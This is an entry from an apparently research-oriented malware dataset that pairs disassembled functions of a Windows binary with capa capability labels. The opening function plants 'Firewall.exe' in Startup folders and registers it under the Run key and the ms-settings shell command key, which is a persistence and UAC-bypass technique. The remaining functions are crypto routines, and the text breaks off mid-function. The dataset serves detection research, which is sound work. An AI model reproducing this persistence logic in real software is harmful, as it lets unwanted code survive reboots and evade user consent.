joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a500
Capabilities:
Persist via default file association registry key
Persist via run registry key
Set registry value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x130
lea rdi, str.C:Documents_and_SettingsUserStart_MenuProgramsStartupFirewall.exe
mov rdx, rdi
mov rbx, rcx
lea rsi, [rsp + 0x30]
call fcn.140001da0
call fcn.1400018a0
mov r8, rax
test rax, rax
je 0x14000a561
lea rdx, str.C:Users_sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupFirewall.exe
mov rcx, rsi
call fcn.14000a330
mov rdx, rsi
lea rcx, str.Path:__s_n
cdqe
mov byte [rsp + rax + 0x30], 0
call fcn.140001800
mov rdx, rsi
mov rcx, rbx
call fcn.140001da0
lea rbp, str.C:WindowsSystem32Firewall.exe
mov rcx, rbx
mov rdx, rbp
call fcn.140001da0
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov r12, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r9d, 0xf003f
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call r12
test eax, eax
je 0x14000a5f0
mov rcx, qword [rsp + 0x30]
mov rbp, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rbp
mov rdx, rdi
mov rcx, rbx
call fcn.140001da0
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov r9d, 0xf003f
lea rdx, str.SoftwareClassesms_settingsShellopencommand
mov rcx, 0xffffffff80000001
call r12
test eax, eax
je 0x14000a620
mov rcx, qword [rsp + 0x30]
call rbp
nop
add rsp, 0x130
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov dword [rsp + 0x28], 0x21
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov r9d, 1
mov qword [rsp + 0x20], rbp
lea rdx, str.Firewall
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x14000a59d
mov dword [rsp + 0x28], 0x48
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov r9d, 1
mov qword [rsp + 0x20], rdi
lea rdx, [0x140095f60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x14000a5d9
Function at 0x140039239
Capabilities:
Encode data using xor

Disassembly:
test byte [rcx + 0x41e], 0x40
jne 0x14003929c
dec r9d
jne 0x140039270
mov eax, dword [rcx + 0x400]
mov r9d, dword [rcx + 0x3fc]
mov r10d, eax
add r10d, 1
mov dword [rcx + 0x400], r10d
jae 0x1400392a1
lea eax, [r9 + 1]
mov dword [rcx + 0x3fc], eax
jmp 0x140039297
mov eax, dword [rcx + 0x408]
mov r9d, dword [rcx + 0x404]
mov r10d, eax
add r10d, 1
mov dword [rcx + 0x408], r10d
jae 0x1400392a1
lea eax, [r9 + 1]
mov dword [rcx + 0x404], eax
or eax, 0xffffffff
jmp 0x1400392a1
xor eax, eax
xor r9d, r9d
bswap r9d
mov dword [rdx + 4], r9d
bswap eax
mov dword [rdx + 8], eax
xor eax, eax
mov cl, byte [r8 + rax]
mov byte [rdx + rax], cl
inc rax
cmp rax, 4
jne 0x1400392af
mov cl, byte [r8 + rax]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0xc
jne 0x1400392bf
ret
Function at 0x140039cb0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
movzx ebp, word [rcx + 0x2f0]
mov r13d, dword [rsp + 0x108]
mov r14, qword [rsp + 0x100]
mov ebx, r9d
mov byte [rcx + 0x158], 0
mov r12, rcx
mov rsi, r8
sub ebx, ebp
cmp qword [rcx + 0x148], 0
mov qword [rsp + 0xe8], rdx
jne 0x140039d10
mov ecx, 0xc
call fcn.14004d018
mov qword [r12 + 0x148], rax
mov rdx, qword [r12 + 0x148]
mov r10d, 0xffffff83
test rdx, rdx
je 0x140039f75
mov r9d, 1
lea r8, [r12 + 0x3f0]
mov rcx, r12
call fcn.140039239
mov al, byte [r12 + 0x2f2]
mov byte [r12 + 0x158], 1
cmp al, 7
je 0x140039d65
mov r10d, 0xfffffec8
cmp al, 9
jne 0x140039f75
jmp 0x140039e21
mov rax, qword [r12]
movzx r15d, bx
movzx r13d, r13w
movzx ebx, bx
mov rdx, qword [r12 + 0x148]
add r15, rsi
test rax, rax
jne 0x140039dcc
mov rcx, qword [r12 + 0x138]
mov dword [rsp + 0x48], r13d
mov r9d, ebx
mov r8, rsi
mov qword [rsp + 0x40], r14
mov rdx, qword [rsp + 0xe8]
mov dword [rsp + 0x38], ebp
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0xc
mov rax, qword [r12 + 0x148]
mov qword [rsp + 0x20], rax
call fcn.140047cd5
jmp 0x140039f4f
mov rax, qword [rax + 0x310]
test rax, rax
je 0x140039d84
mov qword [rsp + 0x28], rdx
mov r9, rsi
xor edx, edx
mov rcx, r12
mov dword [rsp + 0x50], r13d
mov r8, qword [rsp + 0xe8]
mov qword [rsp + 0x48], r14
mov dword [rsp + 0x40], ebp
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0xc
mov dword [rsp + 0x20], ebx
call rax
mov r10d, eax
cmp eax, 0xffffff52
jne 0x140039f5a
jmp 0x140039d84
lea rbp, [rsp + 0x70]
xor eax, eax
mov ecx, 8
xor r8d, r8d
mov r15, qword [r12 + 0x148]
mov rdi, rbp
rep stosd dword [rdi], eax
mov rcx, qword [r12 + 0x150]
mov rdx, r15
call fcn.14005d5b5
mov r10d, eax
test eax, eax
jne 0x140039f5a
mov rcx, qword [r12 + 0x150]
mov r9d, 0x20
mov r8, rbp
mov rdx, rbp
call fcn.14005d676
mov r10d, eax
test eax, eax
jne 0x140039f5a
mov rcx, qword [r12 + 0x150]
mov r8d, 1
mov rdx, r15
call fcn.14005d5b5
mov r10d, eax
test eax, eax
je 0x140039eab
mov edx, 0x20
mov rcx, rbp
call fcn.140038d00
jmp 0x140039f5a
mov rcx, qword [r12 + 0x1418]
mov rdx, rbp
mov r8d, 0x20
call fcn.1400590fe
mov edx, 0x20
mov rcx, rbp
mov r10d, eax
call fcn.140038d00
test r10d, r10d
jne 0x140039f5a
movzx ebp, bx
lea r15, [rsp + 0x60]
mov r9, rsi
movzx r8d, r13w
mov rcx, qword [r12 + 0x1418]
mov qword [rsp + 0x28], r15
mov rdx, r14
mov dword [rsp + 0x30], 0x10
mov dword [rsp + 0x20], ebp
call fcn.14005957a
mov r10d, eax
test eax, eax
jne 0x140039f5a
movzx ebx, bx
xor eax, eax
add rbx, rsi
mov dl, byte [rbx + rax]
xor dl, byte [r15 + rax]
inc rax
movzx edx, dl
or r10d, edx
cmp rax, 0x10
jne 0x140039f19
test r10d, r10d
jne 0x140039f54
mov rcx, qword [r12 + 0x150]
mov rdx, qword [rsp + 0xe8]
mov r9d, ebp
mov r8, rsi
call fcn.14005d676
mov r10d, eax
jmp 0x140039f5a
mov r10d, 0xfffffecf
mov byte [r12 + 0x158], 2
mov rcx, qword [r12 + 0x148]
mov edx, 0xc
call fcn.140038d00
mov eax, r10d
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140041b49
Capabilities:
Generate random numbers via winapi

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
mov r9d, 1
mov dword [rsp + 0x20], 0xf0000000
mov rbx, rcx
mov rdi, rdx
mov esi, r8d
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov edx, eax
mov eax, 0xffffff99
test edx, edx
je 0x140041ba3
mov edx, esi
mov rcx, qword [rbx]
mov r8, rdi
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov edx, eax
mov eax, 0xffffff98
test edx, edx
je 0x140041ba3
mov rcx, qword [rbx]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
Function at 0x140042496
Capabilities:
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x14004255e
mov eax, dword [rcx + 0x60]
cmp eax, 0x3f
ja 0x140042565
lea edx, [rax + 1]
lea rsi, [rcx + 0x20]
mov dword [rcx + 0x60], edx
mov byte [rcx + rax + 0x20], pe_nt_image_headers64
mov edi, dword [rcx + 0x60]
cmp edi, 0x38
jbe 0x140042507
lea rdx, [rsi + rdi]
mov ecx, 0x40
xor eax, eax
mov r8d, 0x40
sub ecx, edi
mov rdi, rdx
mov rdx, rsi
rep stosb byte [rdi], al
mov dword [rbx + 0x60], 0x40
mov rcx, rsi
call fcn.14004245b
mov rcx, rbx
call fcn.140041f80
test eax, eax
jne 0x14004256a
xor eax, eax
mov dword [rbx + 0x60], eax
mov edx, dword [rbx + 0x60]
mov ecx, 0x38
xor eax, eax
mov r8d, 0x40
sub ecx, edx
add rdx, rsi
mov rdi, rdx
rep stosb byte [rdi], al
mov eax, dword [rbx + 0x64]
mov ecx, dword [rbx + 0x68]
mov edx, eax
shl eax, 3
shr edx, 0x1d
mov dword [rbx + 0x64], eax
lea edx, [rdx + rcx*8]
mov rcx, rsi
mov dword [rbx + 0x68], edx
mov rdx, rsi
call fcn.14004245b
mov eax, dword [rbx + 0x68]
mov rcx, rbx
mov dword [rbx + 0x58], eax
mov eax, dword [rbx + 0x64]
mov dword [rbx + 0x5c], eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp fcn.140041f80
mov eax, 0xffffff53
jmp 0x14004256a
mov eax, 0xffffff40
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400427eb
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
test rcx, rcx
je 0x1400427fa
test rdx, rdx
je 0x1400427fa
jmp fcn.140041f80
mov eax, 0xffffff53
ret
Function at 0x140046b9a
Capabilities:
Encode data using xor

Disassembly:
push rdi
push rsi
push rbx
xor eax, eax
lea r10, [0x1400a1280]
mov r8, rcx
lea rbx, [rcx + 0xf]
mov r9, rdx
xor ecx, ecx
mov dl, byte [rbx]
dec rbx
mov r11, rdx
shr dl, 4
and r11d, 0xf
lea esi, [rdx + 0x10]
movzx edx, dl
shl r11, 4
shl rdx, 4
movzx esi, sil
add r11, r9
mov rdx, qword [r9 + rdx + 8]
shl rsi, 4
xor rcx, qword [r11 + 8]
xor rax, qword [r11]
add rsi, r9
mov r11, rcx
shr rdx, 0x34
shr r11, 0x38
shld rcx, rax, 8
xor rcx, qword [rsi + 8]
shl rax, 8
xor rax, qword [rsi]
mov rsi, r11
xor r11d, edx
and esi, 0xf
shr r11b, 4
movzx esi, word [r10 + rsi*2 + 0x20]
and r11d, 0xf
movzx edx, word [r10 + r11*2]
xor rax, rsi
xor rax, rdx
cmp r8, rbx
jne 0x140046bb2
movabs rbx, 0xf0f0f0f0f0f0f0f
mov dl, byte [r8]
movabs rdi, 0xf0f0f0f0f0f0f000
mov r11, rdx
shr dl, 4
and r11d, 0xf
movzx edx, dl
shl r11, 4
shl rdx, 4
add r11, r9
add rdx, r9
xor rcx, qword [r11 + 8]
xor rax, qword [r11]
mov r9, rcx
mov rsi, rcx
mov r11, rax
shr rcx, 0x38
shr r9, 4
shl rsi, 0xc
and r11, rbx
and ecx, 0xf
and rsi, rdi
and r9, rbx
shr rax, 4
movzx ecx, word [r10 + rcx*2]
or r9, rsi
and rax, rbx
mov rsi, r11
shl r11, 0xc
xor rcx, qword [rdx]
shr rsi, 0x34
or rax, r11
or r9, rsi
xor rax, rcx
xor r9, qword [rdx + 8]
mov qword [r8 + 8], r9
mov qword [r8], rax
pop rbx
pop rsi
pop rdi
ret
Function at 0x1400472bd
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov eax, dword [rsp + 0x28]
cmp r8d, 0xf0
ja 0x1400472d8
test rcx, rcx
je 0x1400472d8
mov dword [rsp + 0x28], eax
jmp 0x140046d61
mov eax, 0xffffff53
ret
Function at 0x140047cd5
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
mov r12, rdx
mov esi, r9d
mov edx, dword [rsp + 0x108]
mov rbp, rcx
mov r9, qword [rsp + 0x100]
mov rdi, r8
test rcx, rcx
je 0x140047ef7
test r9, r9
je 0x140047ef7
test esi, esi
je 0x140047d2b
test r8, r8
je 0x140047ef7
test r12, r12
je 0x140047ef7
mov eax, dword [rsp + 0x118]
dec eax
cmp eax, 0xf
mov eax, 0xffffff53
ja 0x140047efc
cmp qword [rsp + 0x110], 0
je 0x140047efc
test edx, edx
je 0x140047efc
cmp edx, 0xc
lea rbx, [rbp + 0x130]
lea r14, [rsp + 0x50]
jne 0x140047d8d
mov rax, qword [r9]
mov word [rsp + 0x5c], 0
mov byte [rsp + 0x5e], 0
mov qword [rsp + 0x50], rax
mov eax, dword [r9 + 8]
mov byte [rsp + 0x5f], 1
mov dword [rsp + 0x58], eax
jmp 0x140047dc1
xor eax, eax
mov r13d, dword [rbp + 0x150]
xor r8d, r8d
mov rcx, rbx
mov dword [rbp + 0x150], eax
mov dword [rsp + 0x20], edx
xor edx, edx
mov dword [rsp + 0x30], 0x10
mov qword [rsp + 0x28], r14
call fcn.1400478d0
mov dword [rbp + 0x150], r13d
lea r13, [rsp + 0x70]
mov dword [rsp + 0x20], esi
mov rcx, rbx
mov r9, rdi
mov dword [rsp + 0x30], 0x10
mov r8d, dword [rsp + 0x128]
lea r15, [rsp + 0x80]
mov qword [rsp + 0x28], r13
mov rdx, qword [rsp + 0x120]
call fcn.1400478d0
mov r8, r15
mov rdx, r14
mov rcx, rbp
call fcn.140045153
mov ebx, eax
test eax, eax
jne 0x140047efc
mov r8d, 0x10
mov rdx, r15
mov rcx, r13
call fcn.140045079
test r12, r12
jne 0x140047e35
mov eax, dword [rsp + 0x128]
mov dword [rbp + 0x150], eax
lea rax, [rsp + 0x60]
mov r15d, esi
mov qword [rsp + 0x48], rax
shr r15d, 4
sub r15d, 1
jb 0x140047e8c
mov rcx, r14
mov rdx, r14
call fcn.140046b4b
mov r8, qword [rsp + 0x48]
mov rcx, rbp
call fcn.140045153
test eax, eax
jne 0x140047efc
mov rdx, qword [rsp + 0x48]
mov r8, rdi
mov rcx, r12
mov r9d, 0x10
add r12, 0x10
add rdi, 0x10
call fcn.140044ff5
jmp 0x140047e46
and esi, 0xf
mov r15d, esi
je 0x140047ec9
mov rcx, r14
lea rsi, [rsp + 0x60]
mov rdx, r14
call fcn.140046b4b
mov r8, rsi
mov rcx, rbp
call fcn.140045153
test eax, eax
jne 0x140047efc
mov rcx, rsi
mov rdx, rdi
mov r8d, r15d
mov rdi, r12
call fcn.140045079
mov ecx, r15d
rep movsb byte [rdi], byte [rsi]
xor eax, eax
mov rdi, qword [rsp + 0x110]
mov dl, byte [rdi + rax]
xor dl, byte [r13 + rax]
inc rax
movzx edx, dl
or ebx, edx
cmp dword [rsp + 0x118], eax
jg 0x140047ecb
neg ebx
sar ebx, 0x1f
mov eax, ebx
and al, 0x4c
jmp 0x140047efc
mov eax, 0xffffff53
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140049b93
Capabilities:
Hash data using sha512

Disassembly:
mov eax, 0xffffff53
test rcx, rcx
je 0x140049c2a
movabs rax, 0x6a09e667f3bcc908
xor edx, edx
mov qword [rcx], rax
movabs rax, 0xbb67ae8584caa73b
mov qword [rcx + 8], rax
movabs rax, 0x3c6ef372fe94f82b
mov qword [rcx + 0x10], rax
movabs rax, 0xa54ff53a5f1d36f1
mov qword [rcx + 0x18], rax
movabs rax, 0x510e527fade682d1
mov qword [rcx + 0x20], rax
movabs rax, 0x9b05688c2b3e6c1f
mov qword [rcx + 0x28], rax
movabs rax, 0x1f83d9abfb41bd6b
mov qword [rcx + 0x30], rax
movabs rax, 0x5be0cd19137e2179
mov qword [rcx + 0xc8], rdx
mov qword [rcx + 0xd0], rdx
mov qword [rcx + 0x38], rax
xor eax, eax
mov dword [rcx + 0xc0], eax
xor eax, eax
ret
test rcx, rcx
je 0x14004af29
mov qword [rcx + 0xd8], rdx
jmp 0x140049b93
mov eax, 0xffffff53
ret

Function at 0x14004af18
Capabilities:
Hash data using sha512

Disassembly:
mov eax, 0xffffff53
test rcx, rcx
je 0x140049c2a
movabs rax, 0x6a09e667f3bcc908
xor edx, edx
mov qword [rcx], rax
movabs rax, 0xbb67ae8584caa73b
mov qword [rcx + 8], rax
movabs rax, 0x3c6ef372fe94f82b
mov qword [rcx + 0x10], rax
movabs rax, 0xa54ff53a5f1d36f1
mov qword [rcx + 0x18], rax
movabs rax, 0x510e527fade682d1
mov qword [rcx + 0x20], rax
movabs rax, 0x9b05688c2b3e6c1f
mov qword [rcx + 0x28], rax
movabs rax, 0x1f83d9abfb41bd6b
mov qword [rcx + 0x30], rax
movabs rax, 0x5be0cd19137e2179
mov qword [rcx + 0xc8], rdx
mov qword [rcx + 0xd0], rdx
mov qword [rcx + 0x38], rax
xor eax, eax
mov dword [rcx + 0xc0], eax
xor eax, eax
ret
test rcx, rcx
je 0x14004af29
mov qword [rcx + 0xd8], rdx
jmp 0x140049b93
mov eax, 0xffffff53
ret

Function at 0x14004b092
Capabilities:
Hash data using sha512

Disassembly:
mov r8d, 0xfffffffe
xor edx, edx
jmp fcn.14004af18

Function at 0x14004b168
Capabilities:
Hash data using sha384

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov rbp, rdx
test rcx, rcx
je 0x14004b22b
test rdx, rdx
je 0x14004b22b
call fcn.14004ad62
test eax, eax
jne 0x14004b230
movabs rdx, 0x9159015a3070dd17
mov ecx, 0xc
mov rdi, rbp
mov rsi, rbx
rep movsd dword [rdi], dword [rsi]
mov qword [rbx + 0x10], rdx
movabs rsi, 0xcbbb9d5dc1059ed8
movabs rdi, 0x629a292a367cd507
movabs rdx, 0x8eb44a8768581511
mov qword [rbx], rsi
movabs rcx, 0xdb0c2e0d64f98fa7
movabs rsi, 0x152fecd8f70e5939
mov qword [rbx + 8], rdi
movabs rdi, 0x67332667ffc00b31
mov qword [rbx + 0x18], rsi
movabs rsi, 0x47b5481dbefa4fa4
mov qword [rbx + 0x28], rdx
xor edx, edx
mov qword [rbx + 0x30], rcx
xor ecx, ecx
mov qword [rbx + 0x20], rdi
mov qword [rbx + 0x38], rsi
mov dword [rbx + 0xc0], edx
mov qword [rbx + 0xc8], rcx
mov qword [rbx + 0xd0], rcx
jmp 0x14004b230
mov eax, 0xffffff53
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x14004b239
Capabilities:
Hash data using sha384

Disassembly:
mov eax, 0xffffff53
test rcx, rcx
je 0x14004b2d7
movabs rax, 0xcbbb9d5dc1059ed8
mov qword [rcx + 0xd8], rdx
xor edx, edx
mov qword [rcx], rax
movabs rax, 0x629a292a367cd507
mov qword [rcx + 8], rax
movabs rax, 0x9159015a3070dd17
mov qword [rcx + 0x10], rax
movabs rax, 0x152fecd8f70e5939
mov qword [rcx + 0x18], rax
movabs rax, 0x67332667ffc00b31
mov qword [rcx + 0x20], rax
movabs rax, 0x8eb44a8768581511
mov qword [rcx + 0x28], rax
movabs rax, 0xdb0c2e0d64f98fa7
mov qword [rcx + 0x30], rax
movabs rax, 0x47b5481dbefa4fa4
mov qword [rcx + 0xc8], rdx
mov qword [rcx + 0xd0], rdx
mov qword [rcx + 0x38], rax
xor eax, eax
mov dword [rcx + 0xc0], eax
xor eax, eax
ret

Function at 0x14004b2d8
Capabilities:
Hash data using sha384

Disassembly:
mov r8d, 0xfffffffe
xor edx, edx
jmp fcn.14004b239
Function at 0x14004bf22
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r13, rdx
movzx r10d, r8b
test rcx, rcx
je 0x14004c01b
test rdx, rdx
sete al
je 0x14004c01b
movzx r8d, r8b
movzx r15d, r9b
lea ebp, [r8*8]
lea ecx, [rbp - 1]
mov byte [rbx + rcx + 0xc8], 0
movzx r8d, byte [rbx + 0x190]
mov r9, rcx
movzx r11d, r8b
mov byte [rbx + r11 + 0xc8], 6
or byte [rbx + rcx + 0xc8], 0x80
lea ecx, [r8 + 1]
cmp ecx, r9d
jae 0x14004bfa8
lea ecx, [rbp - 2]
lea rdx, [rbx + r11 + 0xc9]
sub ecx, r8d
mov rdi, rdx
rep stosb byte [rdi], al
xor eax, eax
cmp eax, r10d
jae 0x14004bfc0
mov rdx, qword [rbx + rax*8 + 0xc8]
xor qword [rbx + rax*8], rdx
inc rax
jmp 0x14004bfaa
mov r12d, r15d
xor r14d, r14d
cmp r12d, ebp
jb 0x14004bfeb
mov rcx, rbx
mov rsi, rbx
sub r12d, ebp
call fcn.14004b440
mov eax, r14d
mov ecx, ebp
add r14d, ebp
add rax, r13
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
jmp 0x14004bfc6
cmp r15d, r14d
je 0x14004c006
mov rcx, rbx
add r13, r14
mov rsi, rbx
call fcn.14004b440
mov rdi, r13
mov ecx, r12d
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x32
xor eax, eax
mov rdi, rbx
rep stosd dword [rdi], eax
mov byte [rbx + 0x190], 0
jmp 0x14004c020
mov eax, 0xffffff53
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14004c0b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r9d, 0x1c
mov r8d, 0x12
jmp fcn.14004bf22

Function at 0x14004c0e5
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r9d, 0x20
mov r8d, 0x11
jmp fcn.14004bf22

Function at 0x14004c11d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r9d, 0x30
mov r8d, 0xd
jmp fcn.14004bf22

Function at 0x14004c14a
Capabilities:
Encode data using xor

Disassembly:
mov r9d, 9
jmp 0x14004bda3

Function at 0x14004c155
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r9d, 0x40
mov r8d, 9
jmp fcn.14004bf22
Function at 0x140058a47
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
xor ebp, ebp
mov eax, edx
mov dword [rsp + 0x98], edx
xor edx, edx
mov rbx, rcx
mov dword [rsp + 0x3c], edx
lea edx, [rax + 1]
add eax, 0x3f
mov rsi, r8
shr eax, 6
mov rdi, r9
sub edx, eax
lea eax, [rdx + rdx*2]
shr eax, 2
cmp dword [r9], eax
jb 0x140058c6b
lea rax, [rsp + 0x3c]
lea r14, [rsp + 0x98]
mov qword [rsp + 0x28], rax
jmp 0x140058b50
movzx ecx, r13b
call fcn.140058520
movzx ecx, r15b
xor r15d, r15d
mov r10d, eax
call fcn.140058520
mov r13d, eax
cmp r12b, 0x3d
je 0x140058acf
movzx ecx, r12b
call fcn.140058520
mov r15d, eax
xor edx, edx
cmp r11b, 0x3d
je 0x140058ae2
movzx ecx, r11b
call fcn.140058520
mov edx, eax
cmp r10b, 0xff
je 0x140058c98
cmp r13b, 0xff
je 0x140058c98
cmp r15b, 0xff
je 0x140058c98
cmp dl, 0xff
je 0x140058c98
mov r8d, r13d
mov eax, r15d
shl r10d, 2
mov ecx, ebp
shr r8b, 4
shl eax, 6
or r8d, r10d
or eax, edx
lea edx, [rbp + 1]
mov byte [rsi + rcx], r8b
cmp r12b, 0x3d
je 0x140058b40
shr r15b, 2
shl r13d, 4
or r15d, r13d
mov byte [rsi + rdx], r15b
lea edx, [rbp + 2]
cmp r11b, 0x3d
je 0x140058c83
mov byte [rsi + rdx], al
lea ebp, [rdx + 1]
cmp dword [rsp + 0x98], 3
jbe 0x140058c79
mov r8, qword [rsp + 0x28]
mov rdx, r14
mov rcx, rbx
call fcn.1400589a4
test eax, eax
jne 0x140058c72
mov eax, dword [rsp + 0x3c]
mov r13b, byte [rbx + rax]
lea edx, [rax + 1]
mov dword [rsp + 0x3c], edx
test r13b, r13b
je 0x140058c79
mov r8, qword [rsp + 0x28]
mov rdx, r14
mov rcx, rbx
dec dword [rsp + 0x98]
call fcn.1400589a4
test eax, eax
jne 0x140058c9d
mov eax, dword [rsp + 0x3c]
mov r8, qword [rsp + 0x28]
mov rcx, rbx
dec dword [rsp + 0x98]
lea edx, [rax + 1]
mov r15b, byte [rbx + rax]
mov dword [rsp + 0x3c], edx
mov rdx, r14
call fcn.1400589a4
test eax, eax
jne 0x140058c9d
mov eax, dword [rsp + 0x3c]
mov r8, qword [rsp + 0x28]
mov rcx, rbx
dec dword [rsp + 0x98]
lea edx, [rax + 1]
mov r12b, byte [rbx + rax]
mov dword [rsp + 0x3c], edx
mov rdx, r14
call fcn.1400589a4
test eax, eax
jne 0x140058c9d
mov eax, dword [rsp + 0x3c]
dec dword [rsp + 0x98]
mov r11b, byte [rbx + rax]
lea edx, [rax + 1]
mov dword [rsp + 0x3c], edx
cmp r11b, 0x3d
setne al
cmp r12b, 0x3d
je 0x140058c7d
lea edx, [r15 - 0x2b]
cmp dl, 0x4f
ja 0x140058c98
lea edx, [r13 - 0x2b]
cmp dl, 0x4f
ja 0x140058c98
lea edx, [r12 - 0x2b]
cmp dl, 0x4f
ja 0x140058c98
lea edx, [r11 - 0x2b]
cmp dl, 0x4f
ja 0x140058c98
xor edx, edx
cmp r12b, 0x3d
movzx eax, al
setne dl
lea eax, [rdx + rax + 1]
add eax, ebp
cmp dword [rdi], eax
jae 0x140058aa2
mov eax, 0xffffff53
jmp 0x140058c9d
cmp eax, 0xffffff7c
jne 0x140058c9d
mov edx, ebp
jmp 0x140058c83
test al, al
je 0x140058c2c
jmp 0x140058c98
test rsi, rsi
je 0x140058c92
cmp edx, dword [rdi]
jae 0x140058c92
mov eax, edx
mov byte [rsi + rax], 0
mov dword [rdi], edx
xor eax, eax
jmp 0x140058c9d
mov eax, 0xffffff66
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14005d394
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rax, rcx
mov rsi, rdx
mov ecx, 0x10
mov dword [rsp + 0x1c], 0xa
mov rdi, rax
mov qword [rsp + 0x78], rdx
rep movsd dword [rdi], dword [rsi]
mov esi, dword [rax + 0x28]
mov ebp, dword [rax + 0x3c]
mov r13d, dword [rax]
mov edx, dword [rax + 0x10]
mov r11d, dword [rax + 0x30]
mov r15d, dword [rax + 0x20]
mov dword [rsp + 0xc], esi
mov r12d, dword [rax + 4]
mov ebx, dword [rax + 0x14]
mov dword [rsp + 0x10], ebp
mov r9d, dword [rax + 0x34]
mov r14d, dword [rax + 0x24]
mov edi, dword [rax + 8]
mov r10d, dword [rax + 0x18]
mov ecx, dword [rax + 0x38]
mov esi, dword [rax + 0xc]
mov r8d, dword [rax + 0x1c]
mov ebp, dword [rax + 0x2c]
add r13d, edx
add r12d, ebx
add edi, r10d
xor r11d, r13d
xor r9d, r12d
xor ecx, edi
rol r11d, 0x10
rol r9d, 0x10
add r15d, r11d
add r14d, r9d
rol ecx, 0x10
xor edx, r15d
xor ebx, r14d
rol edx, 0xc
rol ebx, 0xc
add r13d, edx
add r12d, ebx
xor r11d, r13d
xor r9d, r12d
rol r11d, 8
rol r9d, 8
add r15d, r11d
add r14d, r9d
xor edx, r15d
xor ebx, r14d
rol edx, 7
rol ebx, 7
mov dword [rsp + 0x14], edx
mov edx, dword [rsp + 0xc]
add edx, ecx
xor r10d, edx
rol r10d, 0xc
add edi, r10d
xor ecx, edi
rol ecx, 8
add esi, r8d
add r13d, ebx
add edx, ecx
mov dword [rsp + 0x18], ecx
mov ecx, dword [rsp + 0x10]
xor r10d, edx
xor ecx, esi
rol r10d, 7
rol ecx, 0x10
add r12d, r10d
add ebp, ecx
xor r11d, r12d
xor r8d, ebp
rol r11d, 0x10
rol r8d, 0xc
add esi, r8d
xor ecx, esi
rol ecx, 8
add ebp, ecx
xor ecx, r13d
rol ecx, 0x10
xor r8d, ebp
add ebp, r11d
add edx, ecx
rol r8d, 7
xor ebx, edx
rol ebx, 0xc
add r13d, ebx
xor ecx, r13d
rol ecx, 8
add edx, ecx
mov dword [rsp + 0x10], ecx
mov ecx, dword [rsp + 0x18]
xor ebx, edx
mov dword [rsp + 0xc], edx
mov edx, dword [rsp + 0x14]
rol ebx, 7
xor r10d, ebp
add edi, r8d
add esi, edx
xor r9d, edi
rol r10d, 0xc
xor ecx, esi
rol r9d, 0x10
add r12d, r10d
rol ecx, 0x10
add r15d, r9d
xor r11d, r12d
add r14d, ecx
xor r8d, r15d
rol r11d, 8
xor edx, r14d
rol r8d, 0xc
add ebp, r11d
rol edx, 0xc
add edi, r8d
xor r10d, ebp
add esi, edx
xor r9d, edi
rol r10d, 7
xor ecx, esi
rol r9d, 8
rol ecx, 8
add r15d, r9d
add r14d, ecx
xor r8d, r15d
xor edx, r14d
rol r8d, 7
rol edx, 7
dec dword [rsp + 0x1c]
jne 0x14005d400
mov dword [rax], r13d
mov r13d, dword [rsp + 0x10]
mov dword [rax + 0x14], ebx
mov dword [rax + 0x3c], r13d
mov r13d, dword [rsp + 0xc]
mov dword [rax + 4], r12d
mov dword [rax + 0x28], r13d
mov dword [rax + 0x30], r11d
mov dword [rax + 0x2c], ebp
